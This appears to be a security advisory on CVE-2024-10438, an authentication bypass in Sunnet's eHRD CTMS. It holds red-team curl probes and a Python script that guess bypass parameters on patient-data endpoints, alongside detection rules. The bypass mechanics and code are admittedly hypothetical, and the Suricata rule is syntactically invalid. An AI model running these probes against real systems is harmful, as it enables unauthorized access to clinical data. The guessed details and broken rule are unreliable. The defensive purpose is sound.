CVE-2024-10438

Executive Summary

CVE-2024-10438 is an Authentication Bypass vulnerability in Sunnet's eHRD CTMS (Clinical Trial Management System). The flaw allows an unauthenticated remote attacker to bypass authentication by satisfying specific conditions, granting access to certain functionalities without valid credentials. With a CVSS score of 7.5 (High), this vulnerability poses a significant risk to confidentiality, as an attacker can access sensitive clinical trial data. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time. The vendor has not acknowledged or patched the issue.

Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary web application (Sunnet eHRD CTMS). Supply chain risk is limited to the vendor's software distribution and update mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required beyond satisfying the specific bypass conditions.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – the vulnerable component is the only affected component.
• Confidentiality (C): High – sensitive clinical trial data can be exposed.
• Integrity (I): None – data cannot be modified.
• Availability (A): None – service availability is not impacted.

Threat Level: High. The vulnerability is remotely exploitable without authentication, and the affected system likely contains sensitive medical and research data.

Deep Dive & Mechanics

The eHRD CTMS application fails to properly validate authentication tokens or session identifiers for certain endpoints. The "specific conditions" referenced in the description likely involve manipulating HTTP request parameters, headers, or cookies to bypass authentication checks. Common patterns for such bypasses include:

• Parameter tampering: Adding or modifying parameters like admin=true, authenticated=1, or role=admin.
• Header manipulation: Injecting headers such as X-Forwarded-For, Authorization: Bearer null, or Cookie: session=bypass.
• Path traversal: Accessing internal endpoints directly (e.g., /admin/dashboard) without proper session validation.
• HTTP method abuse: Using methods like PUT or DELETE on endpoints that only check authentication for GET requests.

The vulnerability likely resides in the authentication middleware or filter that fails to enforce checks for all routes, allowing unauthenticated access to sensitive functions such as patient data retrieval, trial management, or user administration.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical vulnerable code pattern is provided.

Vulnerable Code (Java Servlet Filter Example):

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
    HttpServletRequest req = (HttpServletRequest) request;
    String sessionId = req.getParameter("session");
    if (sessionId != null && sessionId.equals("bypass")) {
        // Bypass authentication if session parameter equals "bypass"
        chain.doFilter(request, response);
        return;
    }
    // Normal authentication check
    if (req.getSession().getAttribute("user") == null) {
        ((HttpServletResponse) response).sendError(401);
        return;
    }
    chain.doFilter(request, response);
}

Patched Code (Hypothetical):

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
    HttpServletRequest req = (HttpServletRequest) request;
    // Remove any bypass logic; always validate session
    HttpSession session = req.getSession(false);
    if (session == null || session.getAttribute("user") == null) {
        ((HttpServletResponse) response).sendError(401);
        return;
    }
    chain.doFilter(request, response);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Sunnet eHRD CTMS (version unknown).
• Network access to the web interface (typically port 80/443).

Exploitation Steps:

1. Identify the target's login page (e.g., https://target.com/eHRD/login).
2. Attempt to access protected endpoints directly, such as:
   • /eHRD/admin/dashboard
   • /eHRD/api/patients
   • /eHRD/reports/trials
3. If access is denied, try manipulating request parameters:

   curl -k "https://target.com/eHRD/admin/dashboard?session=bypass"
   curl -k "https://target.com/eHRD/api/patients?authenticated=true"
   

4. Try header injection:

   curl -k -H "X-Forwarded-For: 127.0.0.1" "https://target.com/eHRD/admin/dashboard"
   curl -k -H "Cookie: admin=1" "https://target.com/eHRD/api/patients"
   

5. If successful, the response will contain sensitive data or admin functionality.

Proof-of-Concept Script (Python):

import requests

target = "https://target.com/eHRD"
endpoints = ["/admin/dashboard", "/api/patients", "/reports/trials"]
params = {"session": "bypass", "authenticated": "true", "role": "admin"}

for endpoint in endpoints:
    url = target + endpoint
    for key, value in params.items():
        r = requests.get(url, params={key: value}, verify=False)
        if r.status_code == 200 and "unauthorized" not in r.text.lower():
            print(f"[+] Bypass found: {url}?{key}={value}")
            print(r.text[:500])

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual HTTP requests with unexpected parameters (e.g., session=bypass, authenticated=true).
• Alert on direct access to admin endpoints without prior authentication.
• Log all failed authentication attempts and correlate with successful access to protected resources.

Hardening:

• Implement strict authentication checks on all endpoints using a centralized filter.
• Remove any debug or bypass parameters from production code.
• Use a Web Application Firewall (WAF) to block known bypass patterns.
• Conduct a code review to ensure no hardcoded bypass mechanisms exist.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing parameters like session=bypass, authenticated=true, role=admin.
  • Requests to /eHRD/admin/*, /eHRD/api/*, or /eHRD/reports/* without prior login.
  • Unusual headers such as X-Forwarded-For: 127.0.0.1 or Cookie: admin=1.

• File IOCs:

  • Log entries showing successful access to protected endpoints from unauthenticated IPs.
  • Web server logs with HTTP 200 responses to /eHRD/admin/dashboard from unknown sources.

• Behavioral IOCs:

  • Multiple rapid requests to different endpoints with varying bypass parameters.
  • Access to patient or trial data outside of normal business hours.

Detection Engineering

YARA Rule

rule CVE_2024_10438_Authentication_Bypass {
    meta:
        description = "Detects HTTP requests attempting to bypass authentication in Sunnet eHRD CTMS"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-10438"
    strings:
        $param1 = "session=bypass" ascii nocase
        $param2 = "authenticated=true" ascii nocase
        $param3 = "role=admin" ascii nocase
        $header1 = "X-Forwarded-For: 127.0.0.1" ascii nocase
        $header2 = "Cookie: admin=1" ascii nocase
        $path1 = "/eHRD/admin" ascii nocase
        $path2 = "/eHRD/api" ascii nocase
    condition:
        any of ($param*) or any of ($header*) or any of ($path*)
}

Sigma Rule

title: CVE-2024-10438 Authentication Bypass Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit authentication bypass in Sunnet eHRD CTMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'session=bypass'
            - 'authenticated=true'
            - 'role=admin'
        cs-uri-stem|contains:
            - '/eHRD/admin'
            - '/eHRD/api'
            - '/eHRD/reports'
    condition: selection
falsepositives:
    - Legitimate admin users with valid sessions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-10438 Authentication Bypass Attempt"; flow:to_server; content:"/eHRD"; http_uri; content:"session=bypass" or content:"authenticated=true" or content:"role=admin"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, restrict network access to the eHRD CTMS until a patch is available.
2. Implement WAF rules: Block requests containing suspicious parameters (session=bypass, authenticated=true, role=admin) or direct access to admin endpoints without prior authentication.
3. Monitor logs: Actively review web server logs for signs of exploitation.

Long-Term Fixes:

• Vendor patch: Await an official patch from Sunnet. Contact the vendor for an ETA.
• Code review: If source code is available, remove any authentication bypass logic and enforce strict session validation.
• Upgrade: Consider migrating to a different CTMS solution if the vendor does not provide timely security updates.

Workarounds:

• Custom authentication filter: Deploy a reverse proxy (e.g., Nginx, Apache) that enforces authentication before forwarding requests to the backend.
• Disable vulnerable endpoints: If possible, disable or restrict access to the /admin, /api, and /reports endpoints until a fix is applied.

Valters IT